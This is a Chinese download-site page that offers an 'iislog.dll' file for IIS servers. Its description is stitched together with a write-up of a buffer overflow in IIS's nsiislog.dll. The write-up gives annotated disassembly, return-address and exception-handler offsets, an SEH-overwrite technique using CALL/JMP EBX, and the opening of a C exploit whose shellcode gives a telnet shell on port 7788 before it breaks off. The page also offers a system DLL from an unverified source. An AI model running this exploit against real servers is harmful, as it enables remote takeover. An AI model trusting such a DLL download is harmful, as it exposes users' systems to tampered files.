單機遊戲下載單機遊戲下載基地
最新遊戲| 熱門遊戲| 遊戲大全| 遊戲專題
備份還原 硬件驅動 係統優化 搜索查找 鍵盤鼠標 磁盤工具 數據恢複 係統其它 數據備份 係統重裝
當前位置: 首頁係統工具係統其他→ iislog.dll

iislog.dll

  • iislog.dll截圖0
< >
iislog.dll下載
好玩 好玩 0
坑爹 坑爹 0
  • 應用語言:中文
  • 應用大小:28KB
  • 更新時間:2016-05-29 11:5
  • 發行時間:
  • 應用類型:普通
  • 應用標簽:dll
搞服務器的朋友出現的一個問題,就是IISLOG.DLL缺失了,導致配置不正確。。小編也是複製了一個分享給了他,現在也分享給大家。IISLOG.DLL,IIS日誌需要的動態鏈接庫文件,存儲位置:c:\windows\system32\inetsrv文件夾。IIS的NSIISLOG.DLL溢出問題分析溢出 [更多]
應用介紹

搞服務器的朋友出現的一個問題,就是IISLOG.DLL缺失了,導致配置不正確。。小編也是複製了一個分享給了他,現在也分享給大家。

IISLOG.DLL,IIS日誌需要的動態鏈接庫文件,存儲位置:c:\windows\system32\inetsrv文件夾。

IIS的NSIISLOG.DLL溢出問題分析

溢出漏洞原因分析:

導致溢出的代碼就在NSIISLOG.DLL中,如下

.text:40F01B08 mov ecx, esi

.text:40F01B0A call dword ptr [eax+8]

.text:40F01B0D push eax <----------------計算的POST數據長度

.text:40F01B0E mov ecx, ebx

.text:40F01B10 push [ebp+arg_4] <----------------POST數據的BUFFER

.text:40F01B13 call sub_40F01EEE

#########################################################################################################

sub_40F01EEE函數內容:

.text:40F01EEE push ebp

.text:40F01EEF mov ebp, esp

.text:40F01EF1 mov eax, 1104h

.text:40F01EF6 call sub_40F02B80 〈-----------------分配緩衝區,按含ESP-0X1104的調用

.text:40F01EFB push ebx

.text:40F01EFC push esi

.text:40F01EFD mov ebx, [ebp+arg_4]

.text:40F01F00 push edi 〈-------------------導致溢出的參數,本來應該是被溢出的緩衝區的長度

.text:40F01F01 mov edi, [ebp+arg_8] 這裏卻傳成了POST數據的長度

.text:40F01F04 or ecx, 0FFFFFFFFh

.text:40F01F07 xor eax, eax

.text:40F01F09 push ebx

.text:40F01F0A repne scasb

.text:40F01F0C push [ebp+arg_0] 〈----------------------我們POST的數據

.text:40F01F0F lea eax, [ebp+var_1104]

.text:40F01F15 not ecx

.text:40F01F17 dec ecx

.text:40F01F18 push eax 〈------------------------被溢出的緩衝區

.text:40F01F19 mov [ebp+var_4], ecx

.text:40F01F1C call ds:strncpy 〈-----------------------導致溢出的調用

##############################################################################################################

溢出原因:

strncpy這個調用本來是安全函數調用的,原形是:

strncpy(BUF1,BUF2,BUF1MAXLEN)

但是在這個調用中,調用者誤使這個函數的調用成如下方式了:

strncpy(BUF1,BUF2,BUF2MAXLEN),這樣第三個參數本來應該是BUF1MAXLEN來限製可能導致溢出的調用就成了無用的擺設。

我們可以計算出返回地址的覆蓋點是:

0X1104+4(EBP占用的地址)=0x1108,那麼需要0X110C個字節,注意POST的數據在覆蓋中不能存在0x0,否則strncpy會自動用0添滿後麵的數據。

溢出攻擊實現:

但是在函數返回以前我們發現會引發函數的異常(主要是後麵的strspn調用中),那麼我們就得想法覆蓋異常結構。(當然如果你可以精巧設計你自己覆蓋的內容不導致異常也是可以的,不過這樣太麻煩了),nsiislog.dll自己並沒有異常處理程序,那麼需要我們覆蓋默認的異常結構處理地址,我們可以通過累加所有調用堆棧的大小計算得出此地址距離我們溢出緩衝區的距離是0X2708。

另外需要考慮的問題就是在觸發異常之前,如果應用程序對我們的SHELLCODE進行了操作則會導致一些問題,那麼我們最好使得在STRNCPY中就出發緩衝。(這個溢出中,會轉換EBP之前的一些數據的大小寫,也會截斷添加一條消息。當然我們也可以精巧設置SHELLCODE的位置,不過返回地址不是很好設置)。

那麼我們需要比0X270C更長的地址導致地址訪問違反例,這個長度是和當前緩衝大小相關的(到下一個地址段,如0X8CXXXX-〉0X8D0000就會引發異常):

考慮這個問題,我們的緩衝放置0x10000以上長度的數據(當然一般25000左右就基本能導致在STRNCPY裏的異常了),就能絕對保證在strncpy中引發異常了。

下麵我們就要尋找一個CALL EBX或JMP EBX的地址了(因為是覆蓋異常結構),這個地址其實在NSIISLOG.DLL中就有很多,這樣就能避免很多版本要求的問題。

這裏再給大家分析一下為什麼溢出異常結構之後要找CALL(JMP)EBX的原理

首先異常結構鏈結構如下

DWORD PNEXT 下一個異常結構地址指針

DWORD FUNADDR 當前處理函數入口地址

在KiUserExceptionDispatcher中的處理是如下方式的:

77f8e4ca ff7304 push dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c <-------------EBX+4就是當前異常處理函數調用地址,EBX就是異常結構地址,由於可能要處理下一個異常鏈,所以EBX就保存了下來未做修改,這樣在我們覆蓋了EBX+4的異常處理函數調用地址後找到CALL(JMP)EBX就可以到達我們可以控製的一個內存區域。

77f8e4cd 8d45f0 lea eax,[ebp-0x10]

77f8e4d0 50 push eax

77f8e4d1 ff750c push dword ptr [ebp+0xc]

77f8e4d4 53 push ebx

77f8e4d5 56 push esi

77f8e4d6 e83affffff call ntdll!RtlSetBits+0x305 (77f8e415)

###############################################################################

77f8e42f ff7514 push dword ptr [ebp+0x14]

77f8e432 ff7510 push dword ptr [ebp+0x10]

77f8e435 ff750c push dword ptr [ebp+0xc]

77f8e438 ff7508 push dword ptr [ebp+0x8]

77f8e43b 8b4d18 mov ecx,[ebp+0x18] <-------------這裏就是溢出的異常結構地址

77f8e43e ffd1 call ecx {nsiislog+0x135c (40f0135c)}

###############################################################################

這裏需要注意的是:找到的返回地址是在[ebx+4]上,而調用CALL EBX也要把這個地址內存的內容當指令執行,所以EBX(異常結構前)的地址的內容應該是跳過

EBX+4(被覆蓋的異常結構地址)的,下麵就是一個EXP代碼,使用了ISNO的SHELLCODE(我拿到的這個SHELLCODE有點小毛病,使得隻能連上無法執行指令,已修改),執行以後TELNET IP 7788

###############################################################################

#include

#include

#include

#include

#include

char *hostName = NULL;

unsigned char shellcode[]=

"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"

"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"

&

下載地址

iislog.dll

    • dll文件大全
    dll文件大全
    (36) dll文件大全
    dll是電腦係統中非常重要的文件,dll缺失或者損壞經常會在運行程序或啟動遊戲出現問題,表現症狀為“計算機缺少xxx.dll”或“無法找到xxx.dll”等錯誤問題。這裏給大家整理了一些常見的dll文件的下載以及一些dll修複 更多>>

    熱門評論

    最新評論

    發表評論查看所有評論(0)

    昵稱:
    表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
    (您的評論需要經過審核才能顯示)

    配置需求

    關於飛翔|聯係我們|大事記|下載幫助(?)|廣告聯係|版權聲明|網站地圖|友情鏈接

    Copyright 2010-2013單機遊戲下載(R) 版權所有 飛翔下載所有遊戲及軟件下載資源來源互聯網,並由網友上傳分享。如有侵權,請來電來函告之。
    飛翔忠告:抵製不良色情、反動、暴力遊戲 合理安排遊戲時間 享受健康生活【鄂ICP備13011873號-1】